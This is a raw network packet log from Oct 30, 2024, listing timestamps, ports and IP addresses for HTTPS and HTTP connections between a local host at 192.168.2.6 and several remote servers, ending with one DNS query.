Oct 30, 2024 04:34:24.792026043 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.792041063 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.792282104 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.792282104 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.792299986 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.903352976 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.903472900 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.904010057 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.904010057 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.904767036 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.904773951 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.906466961 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:24.906871080 CET	49798	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:24.907650948 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.907666922 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.908062935 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.908237934 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.908248901 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.911751032 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:24.912153006 CET	80	49798	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:24.912569046 CET	49798	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:24.912748098 CET	49798	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:24.912798882 CET	49798	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:24.917992115 CET	80	49798	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:24.918092966 CET	80	49798	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:25.284701109 CET	443	49792	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:25.286533117 CET	49792	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:25.286556005 CET	443	49792	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:25.286922932 CET	443	49792	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:25.286992073 CET	49792	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:25.287923098 CET	443	49792	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:25.287991047 CET	49792	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:25.288161039 CET	49792	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:25.288233042 CET	443	49792	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:25.288331032 CET	49800	443	192.168.2.6	20.12.23.50
Oct 30, 2024 04:34:25.288347006 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:25.288413048 CET	49800	443	192.168.2.6	20.12.23.50
Oct 30, 2024 04:34:25.288813114 CET	49792	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:25.288820028 CET	443	49792	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:25.288836002 CET	49792	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:25.290116072 CET	49800	443	192.168.2.6	20.12.23.50
Oct 30, 2024 04:34:25.290123940 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:25.306247950 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.308228970 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.308267117 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.309052944 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.309062004 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.315409899 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.315881968 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.315900087 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.316349030 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.316353083 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.335326910 CET	443	49792	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:25.339658022 CET	49792	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:25.439676046 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.439843893 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.439949036 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.440006018 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.440006018 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.440021992 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.440035105 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.443202972 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.443236113 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.443305969 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.443512917 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.443526030 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.447015047 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.447160959 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.447216034 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.447237968 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.447249889 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.447259903 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.447264910 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.449518919 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.449536085 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.449609041 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.449732065 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.449743986 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.503566027 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.504678011 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.504699945 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.505261898 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.505273104 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.542186975 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.542743921 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.542759895 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.543340921 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.543346882 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.590034962 CET	443	49792	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:25.635782003 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.636025906 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.636079073 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.636109114 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.636116028 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.636138916 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.636143923 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.636486053 CET	49792	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:25.636497021 CET	443	49792	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:25.638870001 CET	49803	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.638897896 CET	443	49803	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.639764071 CET	49792	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:25.639821053 CET	443	49792	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:25.639828920 CET	49803	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.639962912 CET	49792	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:25.640742064 CET	49803	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.640758038 CET	443	49803	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.645477057 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.645852089 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.645863056 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.646430969 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.646435976 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.720067978 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.722053051 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.722105980 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.722136021 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.722146988 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.722160101 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.722163916 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.724740028 CET	49804	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.724755049 CET	443	49804	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.724819899 CET	49804	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.724942923 CET	49804	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.724953890 CET	443	49804	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.782898903 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.782969952 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.783025026 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.783193111 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.783200026 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.783211946 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.783216000 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.786547899 CET	49805	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.786581039 CET	443	49805	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:25.786729097 CET	49805	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.786783934 CET	49805	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:25.786794901 CET	443	49805	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.147921085 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:26.147989988 CET	49800	443	192.168.2.6	20.12.23.50
Oct 30, 2024 04:34:26.149738073 CET	49800	443	192.168.2.6	20.12.23.50
Oct 30, 2024 04:34:26.149743080 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:26.150068045 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:26.170072079 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.171932936 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.171953917 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.172534943 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.172539949 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.181485891 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.182035923 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.182054043 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.182642937 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.182667017 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.199285030 CET	49800	443	192.168.2.6	20.12.23.50
Oct 30, 2024 04:34:26.240746975 CET	49800	443	192.168.2.6	20.12.23.50
Oct 30, 2024 04:34:26.287321091 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:26.299736977 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.299839020 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.299897909 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.300029039 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.300039053 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.300048113 CET	49802	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.300051928 CET	443	49802	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.305777073 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.305823088 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.305922031 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.306071043 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.306085110 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.313211918 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.313420057 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.313569069 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.313612938 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.313632011 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.313643932 CET	49801	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.313652992 CET	443	49801	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.318453074 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.318484068 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.318536997 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.318698883 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.318713903 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.338232994 CET	80	49798	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:26.338844061 CET	49798	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:26.382644892 CET	443	49803	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.389396906 CET	49803	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.389411926 CET	443	49803	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.390111923 CET	49803	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.390119076 CET	443	49803	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.446713924 CET	49798	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:26.452054977 CET	80	49798	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:26.455284119 CET	49741	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:26.458014965 CET	443	49804	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.458484888 CET	49804	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.458496094 CET	443	49804	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.458971024 CET	49804	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.458976030 CET	443	49804	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.517477036 CET	443	49803	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.517677069 CET	443	49803	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.517748117 CET	49803	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.517863035 CET	49803	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.517863035 CET	49803	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.517887115 CET	443	49803	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.517899990 CET	443	49803	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.520701885 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.520711899 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.520770073 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.520925045 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.520932913 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.523123980 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:26.523154020 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:26.523180962 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:26.523194075 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:26.523212910 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:26.523238897 CET	49800	443	192.168.2.6	20.12.23.50
Oct 30, 2024 04:34:26.523258924 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:26.523274899 CET	49800	443	192.168.2.6	20.12.23.50
Oct 30, 2024 04:34:26.523302078 CET	49800	443	192.168.2.6	20.12.23.50
Oct 30, 2024 04:34:26.523576975 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:26.523636103 CET	49800	443	192.168.2.6	20.12.23.50
Oct 30, 2024 04:34:26.523643017 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:26.524023056 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:26.524600983 CET	49800	443	192.168.2.6	20.12.23.50
Oct 30, 2024 04:34:26.537396908 CET	49800	443	192.168.2.6	20.12.23.50
Oct 30, 2024 04:34:26.537410021 CET	443	49800	20.12.23.50	192.168.2.6
Oct 30, 2024 04:34:26.546710014 CET	443	49805	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.547332048 CET	49805	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.547350883 CET	443	49805	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.547929049 CET	49805	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.547935009 CET	443	49805	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.587517023 CET	443	49804	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.587656021 CET	443	49804	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.587806940 CET	49804	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.595428944 CET	49804	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.595438004 CET	443	49804	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.595447063 CET	49804	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.595452070 CET	443	49804	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.598627090 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.598644018 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.599339008 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.599556923 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.599570990 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.699877977 CET	443	49805	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.700285912 CET	443	49805	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.700331926 CET	49805	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.700372934 CET	49805	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.700387001 CET	443	49805	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.700402021 CET	49805	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.700407028 CET	443	49805	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.703567028 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.703583002 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:26.703638077 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.703954935 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:26.703967094 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.028068066 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.028471947 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.028493881 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.029238939 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.029246092 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.063968897 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.064397097 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.064420938 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.064816952 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.064825058 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.156728983 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.156971931 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.157025099 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.158413887 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.158413887 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.158437014 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.158444881 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.161608934 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.161637068 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.161752939 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.161998987 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.162012100 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.200083971 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.200982094 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.201400042 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.201489925 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.201489925 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.201509953 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.201522112 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.204160929 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.204186916 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.204305887 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.204451084 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.204462051 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.227274895 CET	80	49798	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:27.227380991 CET	49798	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:27.256320000 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.256875992 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.256894112 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.257603884 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.257607937 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.332693100 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.333367109 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.333380938 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.333863020 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.333868980 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.385643005 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.385776043 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.385835886 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.385936022 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.385941982 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.389302969 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.389331102 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.389488935 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.389878035 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.389894962 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.428322077 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.429263115 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.429270029 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.429857016 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.429862022 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.463409901 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.463502884 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.463577032 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.463793993 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.463812113 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.463824034 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.463835001 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.466290951 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.466310978 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.466558933 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.466713905 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.466727018 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.562074900 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.564794064 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.564985991 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.565099001 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.565112114 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.565121889 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.565125942 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.567447901 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.567496061 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.567581892 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.567723036 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.567744017 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.894870043 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.895328999 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.895340919 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.895972013 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.895977974 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.942127943 CET	50915	53	192.168.2.6	1.1.1.1
